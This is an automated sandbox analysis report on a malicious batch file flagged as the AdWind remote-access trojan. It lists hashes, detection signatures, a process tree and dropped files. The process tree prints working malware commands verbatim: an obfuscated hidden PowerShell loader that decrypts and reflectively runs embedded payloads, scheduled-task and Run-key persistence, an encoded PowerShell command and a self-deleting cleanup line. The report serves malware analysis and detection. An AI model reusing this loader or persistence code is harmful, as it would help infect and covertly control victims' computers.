Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/10/2024, 17:56

General

  • Target

    muauah.bat

  • Size

    1.1MB

  • MD5

    94cc6e771b56847356601c55584f834f

  • SHA1

    2da874abb3a6992b86ec82ad6b6fc592f86079e6

  • SHA256

    59002b993e3d16c596e1090a564623d21171fa8aac71f3d61c4ccd11bd60db75

  • SHA512

    96157638b6a41267e83b93aaa0083d8dd548b2c62054f5d5a7139d4de189483022fdb55effede71f1288e6420ca5a812d50c4fb710f80b923132fe2f1e4e08e0

  • SSDEEP

    24576:N2Ijc+wFpcVR471mHracm9vAW3nE0FIug7UdbD6w:NiomwGB9RxWhIt9

Malware Config

Signatures

  • AdWind

    A Java-based RAT family operated as malware-as-a-service.

  • Class file contains resources related to AdWind 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\muauah.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:876
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:2872
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jd/dueUa2jMQqepZBGrf9Xcw1J/CgvYG46BsQIRnGbw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lif5MY1IWpz/stBeofY5dQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RVPjg=New-Object System.IO.MemoryStream(,$param_var); $MZPdl=New-Object System.IO.MemoryStream; $vovLA=New-Object System.IO.Compression.GZipStream($RVPjg, [IO.Compression.CompressionMode]::Decompress); $vovLA.CopyTo($MZPdl); $vovLA.Dispose(); $RVPjg.Dispose(); $MZPdl.Dispose(); $MZPdl.ToArray();}function execute_function($param_var,$param2_var){ $xfhNZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sipFi=$xfhNZ.EntryPoint; $sipFi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\muauah.bat';$vRfsz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\muauah.bat').Split([Environment]::NewLine);foreach ($MJREd in $vRfsz) { if ($MJREd.StartsWith(':: ')) { $pNWKP=$MJREd.Substring(3); break; }}$payloads_var=[string[]]$pNWKP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4452
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_627_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_627.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1976
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_627.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_627.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2060
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3816
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:3376
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jd/dueUa2jMQqepZBGrf9Xcw1J/CgvYG46BsQIRnGbw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lif5MY1IWpz/stBeofY5dQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RVPjg=New-Object System.IO.MemoryStream(,$param_var); $MZPdl=New-Object System.IO.MemoryStream; $vovLA=New-Object System.IO.Compression.GZipStream($RVPjg, [IO.Compression.CompressionMode]::Decompress); $vovLA.CopyTo($MZPdl); $vovLA.Dispose(); $RVPjg.Dispose(); $MZPdl.Dispose(); $MZPdl.ToArray();}function execute_function($param_var,$param2_var){ $xfhNZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sipFi=$xfhNZ.EntryPoint; $sipFi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_627.bat';$vRfsz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_627.bat').Split([Environment]::NewLine);foreach ($MJREd in $vRfsz) { if ($MJREd.StartsWith(':: ')) { $pNWKP=$MJREd.Substring(3); break; }}$payloads_var=[string[]]$pNWKP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1480
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAYQBoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAdQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAbgBrACMAPgA="
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2820
                • C:\Program Files\Java\jre-1.8\bin\javaw.exe
                  "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\Zelo Client.jar"
                  6⤵
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:772
                  • C:\Windows\SYSTEM32\attrib.exe
                    attrib +H C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729447005956.tmp
                    7⤵
                    • Views/modifies file attributes
                    PID:2436
                  • C:\Windows\SYSTEM32\cmd.exe
                    cmd.exe /c "REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /d "C:\Program Files\Java\jre-1.8\bin\javaw.exe -jar C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729447005956.tmp" /f"
                    7⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2164
                    • C:\Windows\system32\reg.exe
                      REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /d "C:\Program Files\Java\jre-1.8\bin\javaw.exe -jar C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729447005956.tmp" /f
                      8⤵
                      • Adds Run key to start application
                      PID:2536
                  • C:\Windows\SYSTEM32\cmd.exe
                    cmd.exe /c "REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /f"
                    7⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3076
                    • C:\Windows\system32\reg.exe
                      REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /f
                      8⤵
                        PID:1452
                    • C:\Windows\SYSTEM32\cmd.exe
                      cmd /c ping localhost -n 6 > nul && del C:\Users\Admin\AppData\Local\Temp\Zelo Client.jar
                      7⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:392
                      • C:\Windows\system32\PING.EXE
                        ping localhost -n 6
                        8⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        • Runs ping.exe
                        PID:3272

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          661739d384d9dfd807a089721202900b

          SHA1

          5b2c5d6a7122b4ce849dc98e79a7713038feac55

          SHA256

          70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

          SHA512

          81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          f8d49a4af7a844bfc7247d5670def557

          SHA1

          26ae0ce194a77a7a1887cf93741293fdfa6c94c4

          SHA256

          61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

          SHA512

          9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

        • C:\Users\Admin\AppData\Local\Temp\Zelo Client.jar

          Filesize

          639KB

          MD5

          225f0dcf98252d2fee4b06ad0273880b

          SHA1

          93c0fb717375656ac79b85a6c5d1d2d01f5bd3ce

          SHA256

          da64ce75fb68dfbdfada3a2b220156711c662b89fcbfedcc9ac9a84fe40a3d53

          SHA512

          7b74d43ab18550794004fc8dc0ae21e8e37487ec0b108a9053b77d40c1f027379da568efab54a91b1a889c33ddd20e0e154a6d47faa0f3fc573bc49d6da0e2c7

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22jqyh2o.hkj.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\startup_str_627.bat

          Filesize

          1.1MB

          MD5

          94cc6e771b56847356601c55584f834f

          SHA1

          2da874abb3a6992b86ec82ad6b6fc592f86079e6

          SHA256

          59002b993e3d16c596e1090a564623d21171fa8aac71f3d61c4ccd11bd60db75

          SHA512

          96157638b6a41267e83b93aaa0083d8dd548b2c62054f5d5a7139d4de189483022fdb55effede71f1288e6420ca5a812d50c4fb710f80b923132fe2f1e4e08e0

        • C:\Users\Admin\AppData\Roaming\startup_str_627.vbs

          Filesize

          115B

          MD5

          fdc5fe751e936956631d0cfa13f233de

          SHA1

          3dd4b2f13dc96df180307392930f6f8fa119885b

          SHA256

          49d97f3d0b8e32a0df682a8d08bca590be9c686cc219d54d153c6ade338d99c9

          SHA512

          0064001c807b9f972a006c89f1491de67f724dbca19d0d0c858b7c7034e3cc5306c010b2a05b7a05ed0b4e6f7936cb56f1ab1733b9df5291673314742f3aeffa

        • memory/772-105-0x0000026474210000-0x0000026474211000-memory.dmp

          Filesize

          4KB

        • memory/772-97-0x0000026474210000-0x0000026474211000-memory.dmp

          Filesize

          4KB

        • memory/772-95-0x0000026474210000-0x0000026474211000-memory.dmp

          Filesize

          4KB

        • memory/772-79-0x0000026474210000-0x0000026474211000-memory.dmp

          Filesize

          4KB

        • memory/1480-49-0x0000026CF0540000-0x0000026CF05E8000-memory.dmp

          Filesize

          672KB

        • memory/1976-30-0x00007FF867E40000-0x00007FF868901000-memory.dmp

          Filesize

          10.8MB

        • memory/1976-27-0x00007FF867E40000-0x00007FF868901000-memory.dmp

          Filesize

          10.8MB

        • memory/1976-26-0x00007FF867E40000-0x00007FF868901000-memory.dmp

          Filesize

          10.8MB

        • memory/1976-18-0x00007FF867E40000-0x00007FF868901000-memory.dmp

          Filesize

          10.8MB

        • memory/4452-0-0x00007FF867E43000-0x00007FF867E45000-memory.dmp

          Filesize

          8KB

        • memory/4452-14-0x000001B044D80000-0x000001B044E50000-memory.dmp

          Filesize

          832KB

        • memory/4452-75-0x00007FF867E40000-0x00007FF868901000-memory.dmp

          Filesize

          10.8MB

        • memory/4452-13-0x000001B02A940000-0x000001B02A948000-memory.dmp

          Filesize

          32KB

        • memory/4452-12-0x00007FF867E40000-0x00007FF868901000-memory.dmp

          Filesize

          10.8MB

        • memory/4452-10-0x000001B042AC0000-0x000001B042AE2000-memory.dmp

          Filesize

          136KB

        • memory/4452-11-0x00007FF867E40000-0x00007FF868901000-memory.dmp

          Filesize

          10.8MB